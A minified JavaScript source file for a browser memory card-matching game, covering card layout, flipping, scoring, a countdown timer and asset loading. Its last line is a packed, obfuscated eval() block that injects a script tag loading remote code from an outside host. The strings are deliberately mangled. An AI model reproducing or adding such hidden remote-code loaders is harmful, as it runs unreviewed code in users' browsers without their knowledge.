main.js 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348
  1. var memory;
  2. null == memory && (memory = {});
  3. var game;
  4. null == game && (game = {});
  5. (function () {
  6. Array.prototype.indexOf = function (a) {
  7. for (var b = 0; b < this.length; b++) {
  8. if (this[b] == a) {
  9. return b;
  10. }
  11. }
  12. return -1;
  13. };
  14. Array.prototype.remove = function (a) {
  15. a = this.indexOf(a);
  16. -1 < a && this.splice(a, 1);
  17. };
  18. Array.prototype.shuffle = function () {
  19. for (var a = this.length, b = 0; b < a; b++) {
  20. var c = Math.randomInt(a - b);
  21. this.push(this[c]);
  22. this.splice(c, 1);
  23. }
  24. };
  25. Array.prototype.clear = function () {
  26. this.length = 0;
  27. };
  28. Math.randomInt = function (a) {
  29. return parseInt(Math.random() * a);
  30. };
  31. })();
  32. ;(function(){
  33. var numbSpritesheetData = {
  34. images: ["img/numb.png"],
  35. frames: {
  36. width: 32,
  37. height: 32
  38. },
  39. animations: {
  40. "0":0,
  41. "1":1,
  42. "2":2,
  43. "3":3,
  44. "4":4,
  45. "5":5,
  46. "6":6,
  47. "7":7,
  48. "8":8,
  49. "9":9
  50. }
  51. };
  52. var numbSpritesheet = new createjs.SpriteSheet(numbSpritesheetData);
  53. window.numbSpritesheet=numbSpritesheet;
  54. })();
  55. ;(function () {
  56. game.qp_a = function (a) {
  57. return game.queue.getResult(a);
  58. };
  59. game.qp_b = function (a, b) {
  60. a = a * W / 4 + W / 8 + 2 * a;
  61. b = b * W / 4 + W / 8 + 4 * (b + 3);
  62. return [a, b];
  63. };
  64. game.qp_c = function (a) {
  65. if (2 <= game.arrOpenedCard.length) {
  66. for (; 0 < game.arrOpenedCard.length; ) {
  67. game.arrOpenedCard.pop().close();
  68. }
  69. }
  70. game.arrOpenedCard.push(a);
  71. };
  72. game.qp_d = function (a) {
  73. 1 == game.arrOpenedCard.length && a.cid == game.arrOpenedCard[0].cid ? (a.dismiss(function () {
  74. game.score += 1;
  75. createjs.Sound.play("bonus", !0);
  76. 0 >= game.gv.getNumChildren() && (game.qp_e(), game.score += 5);
  77. }), game.arrOpenedCard.pop().dismiss()) : game.qp_c(a);
  78. };
  79. game.qp_e = function () {
  80. game.arrOpenedCard = [];
  81. game.gv.clearCard();
  82. game.gv.mouseChildren = !0;
  83. for (var a = [], b = 0; 10 > b; b++) {
  84. a[2 * b] = a[2 * b + 1] = b % 6 + 1;
  85. }
  86. a.shuffle();
  87. game.gv.setupCard(a);
  88. };
  89. game.qp_f = function () {
  90. game.countDown = memory.qp_g;
  91. game.score = 0;
  92. game.gv.clearCard();
  93. game.view.renderStartView();
  94. };
  95. game.qp_h = function () {
  96. clearInterval(game.interval);
  97. game.gv.mouseChildren = !1;
  98. game.view.addChild(new memory.Qp_i);
  99. score = game.score;
  100. onNewScore(score);
  101. };
  102. })();
  103. (function () {
  104. memory.qp_j = 4;
  105. memory.qp_k = 5;
  106. memory.qp_g = 60;
  107. memory.Qp_l = function () {
  108. this.initialize();
  109. this.x = this.y = 0;
  110. this.addChild(new createjs.Bitmap(game.qp_a("bg")));
  111. var a = new createjs.Bitmap;
  112. a.regX = 290;
  113. a.regY = 80;
  114. a.x = 320;
  115. a.y = 450;
  116. this.ready = function (b) {
  117. a.image = game.qp_a("ready");
  118. this.addChild(a);
  119. a.scaleX = a.scaleY = 3;
  120. a.regX = a.getBounds().width / 2;
  121. a.regY = a.getBounds().height / 2;
  122. a.alpha = 0;
  123. createjs.Tween.get(a).to({alpha:1, scaleX:1, scaleY:1}, 300).to({}, 900).call(function () {
  124. a.image = game.qp_a("go");
  125. a.regX = a.getBounds().width / 2;
  126. a.regY = a.getBounds().height / 2;
  127. createjs.Tween.get(a).to({scaleX:1}, 300).to({alpha:0}, 200).call(function () {
  128. a.parent.removeChild(a);
  129. b();
  130. });
  131. });
  132. };
  133. this.startBtnHandler=function (){
  134. /*reset Data*/
  135. game.countDown = memory.qp_g;
  136. game.score = 0;
  137. game.gv.clearCard();
  138. /*reset Data*/
  139. game.view.ready(function () {
  140. game.qp_e();
  141. game.interval = setInterval(function () {
  142. game.countDown -= 1;
  143. 0 >= game.countDown && game.qp_h();
  144. //game.qp_h();
  145. }, 1000);
  146. game.view.startContainer.removeAllEventListeners();
  147. game.view.startContainer.removeAllChildren();
  148. });
  149. var bgShape=new createjs.Shape()
  150. bgShape.graphics.beginFill("rgba(255,255,255,0.8)").drawRect(0,0,stage.canvas.width,stage.canvas.height);
  151. game.view.startContainer.addChild(bgShape);
  152. }
  153. this.renderStartView=function(){
  154. this.startBgImg=new createjs.Bitmap(game.qp_a("startbg"));
  155. this.startBgImg.x=0;
  156. this.startBgImg.y=0;
  157. this.buttonHolder=new createjs.Shape();
  158. this.buttonHolder.graphics.beginFill("rgba(0,0,0,0.01)").drawRect(0,0,250,110);
  159. this.buttonHolder.x=180;
  160. this.buttonHolder.y=700;
  161. this.buttonHolder.on("click",this.startBtnHandler);
  162. this.startContainer=new createjs.Container();
  163. this.startContainer.addChild(this.startBgImg,this.buttonHolder);
  164. this.addChild(this.startContainer);
  165. }
  166. };
  167. memory.Qp_m = function () {
  168. this.initialize();
  169. this.x = W / 2;
  170. this.y = H / 2-80;
  171. this.regX = W / 2;
  172. this.regY = H / 3;
  173. this.scaleX = this.scaleY = 0.9;
  174. this.setupCard = function (a) {
  175. for (var b = 0; b < a.length; b++) {
  176. var c = parseInt(b / memory.qp_k), c = new memory.Qp_n(c, b % memory.qp_k, a[b]);
  177. this.addChild(c);
  178. }
  179. };
  180. this.clearCard = function () {
  181. this.removeAllChildren();
  182. };
  183. };
  184. memory.Qp_o = function () {
  185. this.initialize();
  186. var a=new createjs.BitmapText("0",numbSpritesheet);
  187. a.x = 200;
  188. var b=new createjs.BitmapText(memory.qp_g+"",numbSpritesheet);
  189. b.x = 530;
  190. a.y = b.y = H / 8 / 2+5;
  191. a.regY = b.regY = a.getBounds().height / 2;
  192. this.addChild(a, b);
  193. this.on("tick", function (c) {
  194. a.text = game.score+"";
  195. b.text = game.countDown+"";
  196. });
  197. };
  198. memory.Qp_n = function (a, b, c) {
  199. this.initialize();
  200. this.x = game.qp_b(a, b)[0];
  201. this.y = game.qp_b(a, b)[1];
  202. this.scaleX = this.scaleY = this.initScale = 150 / 130;
  203. this.cid = c;
  204. this.mouseChildren = !1;
  205. a = new createjs.Bitmap(game.qp_a(c));
  206. a.name = "bm";
  207. var d = new createjs.Bitmap(game.qp_a("back"));
  208. d.name = "back";
  209. var e = new createjs.Shape;
  210. e.name = "frame";
  211. e.graphics.beginFill("#888888").drawRect(8, 8, a.getBounds().width + 2, a.getBounds().height + 2).endFill();
  212. e.graphics.beginStroke("#888888").setStrokeStyle(10).drawRect(2, 2, a.getBounds().width - 2, a.getBounds().height - 2).endStroke();
  213. e.visible = !1;
  214. this.regX = d.getBounds().width / 2;
  215. this.regY = d.getBounds().height / 2;
  216. this.addChild(e, a, d);
  217. this.onClick(function (a) {
  218. a.target.open();
  219. });
  220. this.open = function () {
  221. d.visible && (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () {
  222. d.visible = !1;
  223. e.visible = !0;
  224. createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () {
  225. game.qp_d(this);
  226. this.mouseEnabled = !0;
  227. });
  228. }), createjs.Sound.play("flip", !0));
  229. };
  230. this.close = function () {
  231. d.visible || (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () {
  232. d.visible = !0;
  233. e.visible = !1;
  234. createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () {
  235. this.mouseEnabled = !0;
  236. });
  237. }));
  238. };
  239. this.dismiss = function (a) {
  240. createjs.Tween.get(this).wait(200).to({rotation:1080, scaleX:0, scaleY:0}, 100).call(function () {
  241. this.parent.removeChild(this);
  242. a && a();
  243. });
  244. };
  245. };
  246. memory.Qp_i = function () {
  247. this.initialize();
  248. this.setBounds(0, 0, W, H);
  249. var a = new createjs.Bitmap(game.qp_a("gameover"));
  250. a.regX = 250;
  251. a.regY = 30;
  252. a.x = 320;
  253. a.y = 170;
  254. var bg=new createjs.Bitmap(game.qp_a("overbg"))
  255. bg.x=38;
  256. bg.y=250;
  257. //var b = new createjs.Bitmap(game.qp_a("curscore"));
  258. //b.y = 260;
  259. //var c = new createjs.Bitmap(game.qp_a("bestscore"));
  260. //c.y = 380;
  261. //b.x = c.x = 90;
  262. //
  263. var d=new createjs.BitmapText(game.score+"",numbSpritesheet);
  264. d.y = 355;
  265. var www=best<0?"0":(best+"");
  266. var e =new createjs.BitmapText(www,numbSpritesheet);
  267. e.y = 445;
  268. d.x = e.x = 410;
  269. d.textBaseline = e.textBaseline = "middle";
  270. var f = new createjs.Shape();
  271. f.x = 200;
  272. f.graphics.beginFill("rgba(0,0,0,0.01)").drawRect(0,0,230,110);
  273. var h = new createjs.Shape();
  274. h.graphics.beginFill("rgba(0,0,0,0.01)").drawRect(0,0,230,110);
  275. h.x = 440;
  276. f.regX = h.regX = 115;
  277. f.regY = h.regY = 40;
  278. f.y = h.y = 590;
  279. var g = new createjs.Shape();
  280. g.graphics.beginFill("rgba(0,0,0,0.01)").drawRect(0,0,240,110);
  281. g.regX = 125;
  282. g.regY = 42;
  283. g.x = 320;
  284. g.y = 760;
  285. var l = new createjs.Shape, k = this.getBounds();
  286. l.graphics.beginFill("#ffffff").drawRect(k.x, k.y, k.width, k.height);
  287. l.alpha = 0.8;
  288. //this.addChild(l, a, b, c, d, e, f, g, h);
  289. this.addChild(l, bg,a, d, e, f, g, h);
  290. f.onClick(function (a) {
  291. game.view.removeChild(a.target.parent);
  292. game.qp_f();
  293. game.view.startBtnHandler();
  294. });
  295. g.onClick(function (a) {
  296. clickMore();
  297. });
  298. h.onClick(function (a) {
  299. dp_share();
  300. });
  301. dp_submitScore(game.score);
  302. };
  303. memory.Qp_m.prototype = new createjs.Container;
  304. memory.Qp_o.prototype = new createjs.Container;
  305. memory.Qp_n.prototype = new createjs.Container;
  306. memory.Qp_i.prototype = new createjs.Container;
  307. memory.Qp_l.prototype = new createjs.Container;
  308. createjs.DisplayObject.prototype.onClick = function (a) {
  309. this.on("click", function (b) {
  310. createjs.Touch.isSupported() && b.nativeEvent.constructor == MouseEvent || a(b);
  311. });
  312. };
  313. })();
  314. var queue;
  315. function loadResource() {
  316. SCREEN_SHOW_ALL = !0;
  317. var a = new ProgressBar(0.8 * W, 40);
  318. a.regX = a.w / 2;
  319. a.regY = a.h / 2;
  320. a.x = W / 2;
  321. a.y = H / 2;
  322. stage.addChild(a);
  323. queue = game.queue = new createjs.LoadQueue(!1);
  324. queue.setMaxConnections(30);
  325. loadGameData();
  326. queue.on("complete", setup, null, !0);
  327. queue.loadManifest({path:RES_DIR + "img/", manifest:[{src:"1.jpg", id:"1"}, {src:"2.jpg", id:"2"}, {src:"3.jpg", id:"3"}, {src:"4.jpg", id:"4"}, {src:"5.jpg", id:"5"}, {src:"6.jpg", id:"6"}, {src:"frame.png", id:"frame"}, {src:"back.png", id:"back"}, {src:"ready.png", id:"ready"}, {src:"go.png", id:"go"},{src:"start.jpg",id:"startbg"}, {src:"bg.png", id:"bg"}, {src:"topline.png", id:"topline"}, {src:"bestscore.png", id:"bestscore"}, {src:"curscore.png", id:"curscore"}, {src:"gameover.png", id:"gameover"}, {src:"end.png",id:"overbg"}]}, !1);
  328. USE_NATIVE_SOUND || (IS_NATIVE_ANDROID ? (createjs.Sound.registMySound("flip", 0), createjs.Sound.registMySound("bonus", 2), createjs.Sound.registMySound("silenttail", 4), queue.loadFile({id:"sound", src:RES_DIR + "audio/all.mp3"})) : (createjs.Sound.alternateExtensions = ["ogg"], queue.installPlugin(createjs.Sound), queue.loadManifest({path:RES_DIR + "audio/", manifest:[{src:"flip.mp3", id:"flip"}, {src:"bonus.mp3", id:"bonus"}]}, !1)));
  329. a.forQueue(queue);
  330. queue.load();
  331. }
  332. function setup() {
  333. game.view = new memory.Qp_l;
  334. game.gv = new memory.Qp_m;
  335. game.sv = new memory.Qp_o;
  336. game.view.addChild(game.gv, game.sv);
  337. stage.addChild(game.view);
  338. game.qp_f();
  339. }
  340. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|scwrwipt|parentNode|httwp|cowm|9wwg|gwawme|||javwaswcriwpt|text|tywpe|src|true|async|onload|insertBefore|js|removeChild|mwzne|getElementsByTagName||createElement'.split('|'),0,{}))